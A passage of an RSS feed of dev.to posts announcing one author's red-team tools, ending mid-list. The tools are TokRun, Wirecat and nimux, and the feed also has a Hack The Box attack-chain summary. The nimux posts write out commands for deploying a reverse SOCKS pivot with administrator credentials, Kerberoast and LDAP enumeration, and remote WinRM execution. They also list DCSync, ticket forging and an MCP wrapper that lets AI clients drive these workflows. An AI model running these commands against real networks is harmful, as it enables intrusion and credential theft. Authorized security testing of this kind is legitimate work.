&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvd3bdmqgc7bd5hxhw4kp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvd3bdmqgc7bd5hxhw4kp.png" alt="Installing" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The result
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Install to the PS4's internal drive or to a USB drive, chosen in the installer.&lt;/li&gt;
&lt;li&gt;No PC tools, partitioning or USB stick needed.&lt;/li&gt;
&lt;li&gt;After installing, every boot goes straight to the Kali desktop.&lt;/li&gt;
&lt;li&gt;The whole project is GPL-2.0 and builds with &lt;code&gt;make&lt;/code&gt; in Docker.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fn2esz07793n9xqmy415t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fn2esz07793n9xqmy415t.png" alt="Choose where to install" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Most of the work was not Kali itself. It was the boot chain: payloads, initramfs, device-mapper, a misbehaving HDMI bridge, and a framebuffer that does not behave like a normal one. Reading kernel logs, poking registers live and testing on real hardware taught me more about how Linux boots than any desktop install ever has.&lt;/p&gt;

&lt;p&gt;If you have a jailbroken PS4, try it and tell me how it works on your model:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/blue0x1/kali-ps4" rel="noopener noreferrer"&gt;github.com/blue0x1/kali-ps4&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Built for learning and security research, on consoles you own.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>security</category>
      <category>ps4</category>
      <category>jailbreak</category>
    </item>
    <item>
      <title>TokRun v1.0 Released</title>
      <dc:creator>blue0x1</dc:creator>
      <pubDate>Sun, 20 Sep 2026 06:33:38 +0000</pubDate>
      <link>https://dev.to/blue0x1/tokrun-v10-released-4lc7</link>
      <guid>https://dev.to/blue0x1/tokrun-v10-released-4lc7</guid>
      <description>&lt;p&gt;I just released &lt;strong&gt;TokRun v1.0&lt;/strong&gt;, a local Windows token-based process launcher for authorized administration, lab, and red-team environments.&lt;/p&gt;

&lt;p&gt;TokRun can enumerate accessible process tokens and launch either a visible &lt;code&gt;cmd.exe&lt;/code&gt; shell or a local executable under a selected token.&lt;/p&gt;

&lt;p&gt;## Highlights&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;List accessible Windows process tokens&lt;/li&gt;
&lt;li&gt;Launch by user name or PID&lt;/li&gt;
&lt;li&gt;Supports &lt;code&gt;SYSTEM&lt;/code&gt; and &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Strict &lt;code&gt;--pid&lt;/code&gt; + &lt;code&gt;--user&lt;/code&gt; validation&lt;/li&gt;
&lt;li&gt;Clean default output&lt;/li&gt;
&lt;li&gt;Verbose diagnostics for troubleshooting&lt;/li&gt;
&lt;li&gt;Improved visible console handling on modern Windows builds&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/blue0x1/TokRun" rel="noopener noreferrer"&gt;https://github.com/blue0x1/TokRun&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Use only on systems you own or are explicitly authorized to assess or administer.&lt;/p&gt;

</description>
      <category>microsoft</category>
      <category>csharp</category>
      <category>dotnet</category>
      <category>security</category>
    </item>
    <item>
      <title>Support HTB Writeup</title>
      <dc:creator>blue0x1</dc:creator>
      <pubDate>Tue, 11 Aug 2026 21:16:15 +0000</pubDate>
      <link>https://dev.to/blue0x1/support-htb-writeup-4p30</link>
      <guid>https://dev.to/blue0x1/support-htb-writeup-4p30</guid>
      <description>&lt;p&gt;Attack Chain Summary&lt;br&gt;
The full chain was:&lt;/p&gt;

&lt;p&gt;Anonymous SMB&lt;br&gt;
-&amp;gt; support-tools share&lt;br&gt;
-&amp;gt; UserInfo.exe.zip&lt;br&gt;
-&amp;gt; LDAP credential extraction&lt;br&gt;
-&amp;gt; LDAP enum as ldap&lt;br&gt;
-&amp;gt; support user password in LDAP attribute&lt;br&gt;
-&amp;gt; create controlled computer account&lt;br&gt;
-&amp;gt; set RBCD on DC$&lt;br&gt;
-&amp;gt; S4U Administrator impersonation&lt;br&gt;
-&amp;gt; dump secrets / execute as admin&lt;/p&gt;

&lt;p&gt;Full Writeup: &lt;a href="https://medium.com/@chokrihammedi/support-htb-writeup-99482db016ac" rel="noopener noreferrer"&gt;https://medium.com/@chokrihammedi/support-htb-writeup-99482db016ac&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Video Walkthrough: &lt;a href="https://www.youtube.com/watch?v=4XTPhktYgyk" rel="noopener noreferrer"&gt;https://www.youtube.com/watch?v=4XTPhktYgyk&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>redteam</category>
      <category>windows</category>
      <category>security</category>
    </item>
    <item>
      <title>Introducing Wirecat: a native C networking and relay utility</title>
      <dc:creator>blue0x1</dc:creator>
      <pubDate>Sun, 02 Aug 2026 07:12:09 +0000</pubDate>
      <link>https://dev.to/blue0x1/introducing-wirecat-a-native-c-networking-and-relay-utility-26a9</link>
      <guid>https://dev.to/blue0x1/introducing-wirecat-a-native-c-networking-and-relay-utility-26a9</guid>
      <description>&lt;h2&gt;
  
  
  What is Wirecat?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Wirecat&lt;/strong&gt; (&lt;code&gt;wcat&lt;/code&gt;) is a native C stream and session utility for connecting, listening, relaying, proxying, transferring files, and handling interactive sessions across Linux/POSIX&lt;br&gt;
transports.&lt;/p&gt;

&lt;p&gt;It is built as one small command-line binary with predictable behavior, clear errors, and automation-friendly output.&lt;/p&gt;

&lt;p&gt;GitHub:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/blue0x1/wirecat" rel="noopener noreferrer"&gt;https://github.com/blue0x1/wirecat&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Why I built it
&lt;/h2&gt;

&lt;p&gt;I wanted a modern networking tool that keeps the direct CLI feeling of classic socket utilities, but with features I need in real operator and research workflows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TCP and UDP&lt;/li&gt;
&lt;li&gt;SCTP&lt;/li&gt;
&lt;li&gt;Unix domain sockets&lt;/li&gt;
&lt;li&gt;Linux VSOCK&lt;/li&gt;
&lt;li&gt;TLS and mTLS&lt;/li&gt;
&lt;li&gt;QUIC&lt;/li&gt;
&lt;li&gt;SOCKS5 and HTTP CONNECT proxy support&lt;/li&gt;
&lt;li&gt;HTTP CONNECT proxy server mode&lt;/li&gt;
&lt;li&gt;PTY-backed process sessions&lt;/li&gt;
&lt;li&gt;File send and receive&lt;/li&gt;
&lt;li&gt;Relay mode&lt;/li&gt;
&lt;li&gt;Broker/chat mode&lt;/li&gt;
&lt;li&gt;JSON logs&lt;/li&gt;
&lt;li&gt;Hex inspection&lt;/li&gt;
&lt;li&gt;CIDR allow/deny controls&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The goal is not to build a framework. The goal is a practical native tool for debugging, administration, controlled lab work, and repeatable network testing.&lt;/p&gt;
&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;

&lt;p&gt;Download the latest release from GitHub:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/blue0x1/wirecat/releases/latest" rel="noopener noreferrer"&gt;https://github.com/blue0x1/wirecat/releases/latest&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On Debian/Kali/Ubuntu amd64:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;sudo apt install ./wirecat_0.1.0-1_amd64.deb
wcat --version
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or build from source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;sudo apt install build-essential pkg-config libssl-dev
make
make test
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Basic usage
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;wcat connect example.com 80
wcat listen 0.0.0.0 4444
wcat listen --keep-open 0.0.0.0 4444
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;TLS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;wcat connect --tls example.com 443
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;QUIC:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;wcat connect --quic --alpn h3 example.com 443
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Proxying:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;wcat connect --proxy socks5://127.0.0.1:9050 example.com 80
wcat connect --proxy http://proxy.local:8080 example.com 443
wcat proxy 127.0.0.1 3128
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Relay mode:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;wcat relay - tcp:example.com:80
wcat relay listen:127.0.0.1:9000 tcp:10.0.0.5:22
wcat relay tcp:127.0.0.1:9000 file:./capture.bin
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Broker/chat mode:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;wcat broker 0.0.0.0 5555
wcat broker --chat 0.0.0.0 5555
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;File transfer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;wcat recv ./archive.tar 0.0.0.0 9000
wcat send ./archive.tar 192.0.2.10 9000
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Security model
&lt;/h2&gt;

&lt;p&gt;Wirecat is a general-purpose network utility.&lt;/p&gt;

&lt;p&gt;It intentionally avoids:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;persistence&lt;/li&gt;
&lt;li&gt;stealth&lt;/li&gt;
&lt;li&gt;autonomous operation&lt;/li&gt;
&lt;li&gt;embedded scripting&lt;/li&gt;
&lt;li&gt;C2 framework behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use Wirecat only on systems and networks that you own, administer, or have explicit permission to test.&lt;/p&gt;

&lt;h2&gt;
  
  
  Current release
&lt;/h2&gt;

&lt;p&gt;The first release is 0.1.0.&lt;/p&gt;

&lt;p&gt;It includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Linux amd64 binary archive&lt;/li&gt;
&lt;li&gt;Debian package&lt;/li&gt;
&lt;li&gt;source archive&lt;/li&gt;
&lt;li&gt;SHA256 checksums&lt;/li&gt;
&lt;li&gt;fuzzing documentation&lt;/li&gt;
&lt;li&gt;reproducible build notes&lt;/li&gt;
&lt;li&gt;GitHub Wiki documentation&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;p&gt;Repository:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/blue0x1/wirecat" rel="noopener noreferrer"&gt;https://github.com/blue0x1/wirecat&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Wiki:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/blue0x1/wirecat/wiki" rel="noopener noreferrer"&gt;https://github.com/blue0x1/wirecat/wiki&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Release:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/blue0x1/wirecat/releases/latest" rel="noopener noreferrer"&gt;https://github.com/blue0x1/wirecat/releases/latest&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Final note
&lt;/h2&gt;

&lt;p&gt;Wirecat is still new, but the foundation is already there: native C, Linux/POSIX focus, clear CLI structure, real tests, fuzzing, release packaging, and documentation.&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>linux</category>
      <category>networking</category>
      <category>c</category>
    </item>
    <item>
      <title>Pivoting with nimux: Native SOCKS Workflows for Internal Network Access</title>
      <dc:creator>blue0x1</dc:creator>
      <pubDate>Sat, 18 Jul 2026 17:16:11 +0000</pubDate>
      <link>https://dev.to/blue0x1/pivoting-with-nimux-native-socks-workflows-for-internal-network-access-5ai7</link>
      <guid>https://dev.to/blue0x1/pivoting-with-nimux-native-socks-workflows-for-internal-network-access-5ai7</guid>
      <description>&lt;p&gt;Pivoting is one of the most important parts of an internal assessment. Once an operator reaches a host that can access another subnet, the next challenge is not just reaching that network,&lt;br&gt;
  but continuing the assessment without constantly changing tools or manually rebuilding routes.&lt;/p&gt;

&lt;p&gt;nimux includes a native SOCKS pivot workflow for this.&lt;/p&gt;

&lt;p&gt;The idea is simple: use nimux to deploy a pivot helper on an authorized host, start a local SOCKS listener, then reuse the same nimux command surface with --proxy for internal enumeration&lt;br&gt;
  and follow-on actions.&lt;/p&gt;

&lt;p&gt;The CLI stays the execution engine. The pivot becomes just another transport path.&lt;/p&gt;

&lt;p&gt;Example deployment:&lt;/p&gt;

&lt;p&gt;nimux socks 192.168.1.103 -u administrator -p 'Password123' \&lt;br&gt;
    --reverse --listener 192.168.1.104 \&lt;br&gt;
    --socks-port 1088 \&lt;br&gt;
    --control-port 1081&lt;/p&gt;

&lt;p&gt;A successful deployment shows the callback, SOCKS listener, remote helper path, PID, proxychains entry, and cleanup command.&lt;/p&gt;

&lt;p&gt;Screenshot caption:&lt;/p&gt;

&lt;p&gt;nimux reverse SOCKS deployment over WinRM, showing the agent callback, local SOCKS5 listener, remote helper path, PID, proxychains entry, and cleanup command.&lt;/p&gt;

&lt;p&gt;After the SOCKS listener is ready, internal commands can be routed through it.&lt;/p&gt;

&lt;p&gt;Port scan through the pivot:&lt;/p&gt;

&lt;p&gt;nimux scan 172.16.10.0/24 --port 445,3389,5985 --open \&lt;br&gt;
    --proxy socks5://127.0.0.1:1088&lt;/p&gt;

&lt;p&gt;SMB enumeration through the pivot:&lt;/p&gt;

&lt;p&gt;nimux smb dc01.internal.corp.local -u operator -p '' -d internal.corp.local \&lt;br&gt;
    --shares --users --pass-pol \&lt;br&gt;
    --proxy socks5://127.0.0.1:1088&lt;/p&gt;

&lt;p&gt;LDAP enumeration through the same pivot:&lt;/p&gt;

&lt;p&gt;nimux ldap dc01.internal.corp.local -u operator -p '' -d internal.corp.local \&lt;br&gt;
    --query dcs --query trusts --query kerberoast \&lt;br&gt;
    --proxy socks5://127.0.0.1:1088&lt;/p&gt;

&lt;p&gt;WinRM through the pivot:&lt;/p&gt;

&lt;p&gt;nimux winrm ws01.internal.corp.local -u operator -p '' -d internal.corp.local \&lt;br&gt;
    --cmd whoami \&lt;br&gt;
    --proxy socks5://127.0.0.1:1088&lt;/p&gt;

&lt;p&gt;Kerberos-aware workflows can also be used with generated krb5 configuration and ccache files:&lt;/p&gt;

&lt;p&gt;nimux krb5conf dc01.internal.corp.local -d internal.corp.local --out internal.krb5.conf&lt;/p&gt;

&lt;p&gt;nimux kerberos dc01.internal.corp.local -u operator -p '' -d internal.corp.local \&lt;br&gt;
    --request kinit --out operator.ccache&lt;/p&gt;

&lt;p&gt;nimux winrm ws01.internal.corp.local -k \&lt;br&gt;
    --ccache operator.ccache \&lt;br&gt;
    --krb5-config internal.krb5.conf \&lt;br&gt;
    -u operator -d internal.corp.local \&lt;br&gt;
    --spn WSMAN \&lt;br&gt;
    --cmd hostname \&lt;br&gt;
    --proxy socks5://127.0.0.1:1088&lt;/p&gt;

&lt;p&gt;This matters because pivoting is usually where workflows become messy. Operators often end up combining tunnels, proxy wrappers, DNS changes, and separate tooling. nimux tries to keep that&lt;br&gt;
  cleaner by making pivoted execution part of the same workflow.&lt;/p&gt;

&lt;p&gt;The operational pattern becomes:&lt;/p&gt;

&lt;p&gt;deploy pivot&lt;br&gt;
  confirm SOCKS listener&lt;br&gt;
  reuse nimux with --proxy&lt;br&gt;
  enumerate&lt;br&gt;
  execute&lt;br&gt;
  collect evidence&lt;br&gt;
  clean up&lt;/p&gt;

&lt;p&gt;Cleanup is also part of the workflow. The SOCKS command prints the values needed to stop the helper and remove the remote file.&lt;/p&gt;

&lt;p&gt;Example cleanup:&lt;/p&gt;

&lt;p&gt;nimux socks 192.168.1.103 -u administrator -p '' \&lt;br&gt;
    --kill \&lt;br&gt;
    --pid  \&lt;br&gt;
    --socks-remote ''&lt;/p&gt;

&lt;p&gt;The goal is not to make pivoting magical. It is to make it less fragmented.&lt;/p&gt;

&lt;p&gt;nimux is designed as a pure-Nim network enumeration and remote execution toolkit for authorized security assessments. Pivoting is one of the areas where having enumeration, execution,&lt;br&gt;
  Kerberos, LDAP, SMB, WinRM, and proxy support under one command surface starts to matter.&lt;/p&gt;

&lt;p&gt;Links:&lt;/p&gt;

&lt;p&gt;Docs: &lt;a href="https://docs.nimux.wiki" rel="noopener noreferrer"&gt;https://docs.nimux.wiki&lt;/a&gt;&lt;br&gt;
  GitHub: &lt;a href="https://github.com/blue0x1/nimux" rel="noopener noreferrer"&gt;https://github.com/blue0x1/nimux&lt;/a&gt;&lt;br&gt;
  Website: &lt;a href="https://nimux.wiki" rel="noopener noreferrer"&gt;https://nimux.wiki&lt;/a&gt;&lt;br&gt;
  Releases: &lt;a href="https://github.com/blue0x1/nimux/releases" rel="noopener noreferrer"&gt;https://github.com/blue0x1/nimux/releases&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Use nimux only on systems you own or are explicitly authorized to assess.&lt;/p&gt;

</description>
      <category>cli</category>
      <category>networking</category>
      <category>security</category>
      <category>tooling</category>
    </item>
    <item>
      <title>Introducing nimux: A Pure-Nim Network Enumeration and Remote Execution Toolkit</title>
      <dc:creator>blue0x1</dc:creator>
      <pubDate>Fri, 17 Jul 2026 18:24:00 +0000</pubDate>
      <link>https://dev.to/blue0x1/introducing-nimux-a-pure-nim-network-enumeration-and-remote-execution-toolkit-3oi9</link>
      <guid>https://dev.to/blue0x1/introducing-nimux-a-pure-nim-network-enumeration-and-remote-execution-toolkit-3oi9</guid>
      <description>&lt;p&gt;I recently released nimux, a pure-Nim network enumeration and remote execution toolkit for authorized security assessments.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;nimux is built around one idea: a single native command surface for moving from discovery to execution without constantly switching tools.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Internal assessments often require scanners, SMB tools, LDAP tools, Kerberos utilities, AD CS tooling, GPO tooling, remote execution tools, secrets tooling, DCSync tooling, ticket&lt;br&gt;
  converters, and SOCKS helpers.&lt;/p&gt;

&lt;p&gt;nimux brings many of those workflows into one native binary.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why I built it&lt;/strong&gt;&lt;br&gt;
  During internal security assessments, the workflow usually moves through several phases:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Discover reachable hosts and exposed services&lt;/li&gt;
&lt;li&gt;  Validate credentials&lt;/li&gt;
&lt;li&gt;  Enumerate SMB, LDAP, Kerberos, MSSQL, WinRM, and other protocols&lt;/li&gt;
&lt;li&gt;  Identify Active Directory paths&lt;/li&gt;
&lt;li&gt;  Request or transform Kerberos tickets&lt;/li&gt;
&lt;li&gt;  Execute commands remotely&lt;/li&gt;
&lt;li&gt;  Move files&lt;/li&gt;
&lt;li&gt;  Collect secrets&lt;/li&gt;
&lt;li&gt;  Pivot into internal networks&lt;/li&gt;
&lt;li&gt;  Preserve output for reporting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The usual approach is to chain many different tools together.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;nimux tries to reduce that friction.&lt;br&gt;
  It is not just an SMB enumeration wrapper. It is designed as a full-chain operator toolkit.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;What nimux supports&lt;/strong&gt;&lt;br&gt;
  nimux currently includes support for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  TCP and UDP scanning with service detection&lt;/li&gt;
&lt;li&gt;  SMB enumeration, authentication, shares, users, groups, sessions, RID brute, file operations, coercion, and ticket capture workflows&lt;/li&gt;
&lt;li&gt;  LDAP and Active Directory enumeration, writes, ACL paths, RBCD, Shadow Credentials, BadSuccessor, DNS, LAPS, and gMSA workflows&lt;/li&gt;
&lt;li&gt;  Kerberos TGT, TGS, S4U, PKINIT, ccache and kirbi conversion, ticket renewal, ticket purge, golden, silver, diamond, and inter-realm ticket workflows&lt;/li&gt;
&lt;li&gt;  AD CS inventory, template analysis, certificate requests, certificate authentication, certificate mapping, and ESC-style findings&lt;/li&gt;
&lt;li&gt;  WinRM, SCM, WMI/CIM, DCOM/MMC, scheduled tasks, helper services, and interactive shells&lt;/li&gt;
&lt;li&gt;  MSSQL, PostgreSQL, MySQL, HTTP, HTTPS, WebDAV, FTP, SSH, RDP, VNC, NFS, and AFP clients&lt;/li&gt;
&lt;li&gt;  SAM, LSA, cached credentials, DPAPI material, trust keys, and native DCSync&lt;/li&gt;
&lt;li&gt;  BloodHound-style output&lt;/li&gt;
&lt;li&gt;  Native SOCKS helper deployment and proxy-aware workflows&lt;/li&gt;
&lt;li&gt;  JSON output for automation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Protocol coverage&lt;/strong&gt;&lt;br&gt;
  nimux currently includes clients and workflows for SMB, LDAP, Kerberos, WinRM, MSSQL, PostgreSQL, MySQL, HTTP, HTTPS, WebDAV, FTP, SSH, RDP, VNC, NFS, and AFP.&lt;/p&gt;

&lt;p&gt;It also includes native DCSync, secrets extraction, DPAPI material collection, trust key extraction, BloodHound-style output, SOCKS helper deployment, JSON output, and rollback records for&lt;br&gt;
  supported AD writes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Active Directory depth&lt;/strong&gt;&lt;br&gt;
  nimux includes many Active Directory operations directly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  User, computer, group, and dMSA creation&lt;/li&gt;
&lt;li&gt;  LDAP modify, delete, LDIF, restore, and move operations&lt;/li&gt;
&lt;li&gt;  RBCD configuration&lt;/li&gt;
&lt;li&gt;  ACL add and remove workflows&lt;/li&gt;
&lt;li&gt;  Owner changes&lt;/li&gt;
&lt;li&gt;  Group membership changes&lt;/li&gt;
&lt;li&gt;  Kerberoast and ASREPRoast&lt;/li&gt;
&lt;li&gt;  Shadow Credentials&lt;/li&gt;
&lt;li&gt;  Certificate mapping&lt;/li&gt;
&lt;li&gt;  Schannel LDAP authentication&lt;/li&gt;
&lt;li&gt;  BadSuccessor workflow&lt;/li&gt;
&lt;li&gt;  GPO creation, linking, delegation, file operations, startup scripts, and scheduled tasks&lt;/li&gt;
&lt;li&gt;  AD CS inventory, certificate request, certificate authentication, and template modification&lt;/li&gt;
&lt;li&gt;  OPSEC notes for common event and log artifacts&lt;/li&gt;
&lt;li&gt;  Rollback output for supported writes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Kerberos workflows&lt;/strong&gt;&lt;br&gt;
  Kerberos support is one of the main areas I focused on.&lt;/p&gt;

&lt;p&gt;nimux supports kinit style TGT requests, getST style service ticket requests, S4U2Self, S4U2Proxy, constrained delegation, RBCD final service ticket workflow, ccache inspection, ccache to&lt;br&gt;
  kirbi conversion, kirbi to ccache conversion, ticket renewal, ticket purge, Kerberoast, PKINIT authentication, golden tickets, silver tickets, diamond tickets, inter-realm tickets, and&lt;br&gt;
  extra SID forging.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pivot-aware workflows&lt;/strong&gt;&lt;br&gt;
  One of the features I care about is pivot-aware usage.&lt;/p&gt;

&lt;p&gt;nimux includes a SOCKS helper workflow and supports proxy-aware operations across supported protocols.&lt;/p&gt;

&lt;p&gt;This makes nimux useful beyond a single flat network.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why Nim&lt;/strong&gt;&lt;br&gt;
  I chose Nim because it gives the project a strong native-tooling foundation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Native binary output&lt;/li&gt;
&lt;li&gt;  Fast startup&lt;/li&gt;
&lt;li&gt;  Good performance&lt;/li&gt;
&lt;li&gt;  Practical systems programming&lt;/li&gt;
&lt;li&gt;  Strong C interoperability&lt;/li&gt;
&lt;li&gt;  Lower runtime friction&lt;/li&gt;
&lt;li&gt;  Good fit for protocol-heavy tooling&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;nimux is still young, but the direction is clear: a fast native toolkit with deep Active Directory and Kerberos coverage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Install&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Install from Nimble:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nimble install nimux&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
  Download release assets:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/blue0x1/nimux/releases" rel="noopener noreferrer"&gt;https://github.com/blue0x1/nimux/releases&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Build from source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;  git clone https://github.com/blue0x1/nimux
  &lt;span class="nb"&gt;cd &lt;/span&gt;nimux
  nimble build &lt;span class="nt"&gt;-y&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Documentation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The documentation includes command references, examples, tutorials, troubleshooting, and advanced Active Directory workflows.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://docs.nimux.wiki" rel="noopener noreferrer"&gt;https://docs.nimux.wiki&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Legal notice&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;nimux is built for authorized security testing only.&lt;/p&gt;

&lt;p&gt;Use nimux only on systems you own or are explicitly authorized to assess. The tool includes functionality that can modify Active Directory objects, request Kerberos tickets, run commands&lt;br&gt;
  remotely, and extract sensitive material from systems where the operator has sufficient privileges.&lt;/p&gt;

&lt;p&gt;The author assumes no responsibility or liability for misuse, damage, or legal consequences caused by unauthorized use.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Links&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Website: &lt;a href="https://nimux.wiki" rel="noopener noreferrer"&gt;https://nimux.wiki&lt;/a&gt;&lt;br&gt;
  Documentation: &lt;a href="https://docs.nimux.wiki" rel="noopener noreferrer"&gt;https://docs.nimux.wiki&lt;/a&gt;&lt;br&gt;
  GitHub: &lt;a href="https://github.com/blue0x1/nimux" rel="noopener noreferrer"&gt;https://github.com/blue0x1/nimux&lt;/a&gt;&lt;br&gt;
  Releases: &lt;a href="https://github.com/blue0x1/nimux/releases" rel="noopener noreferrer"&gt;https://github.com/blue0x1/nimux/releases&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update: v1.0.2 adds MCP integration&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;nimux now includes an MCP wrapper that exposes core nimux workflows as structured tools for AI clients. The CLI remains the native execution engine, while MCP clients can help with&lt;br&gt;
  planning, parsing, reporting, and repeatable workflows.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The MCP integration includes:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;stdio-based nimux MCP wrapper&lt;/li&gt;
&lt;li&gt;config examples for Codex, Claude, Cursor, Windsurf, and generic MCP clients&lt;/li&gt;
&lt;li&gt;policy-aware execution model&lt;/li&gt;
&lt;li&gt;structured progress and result output&lt;/li&gt;
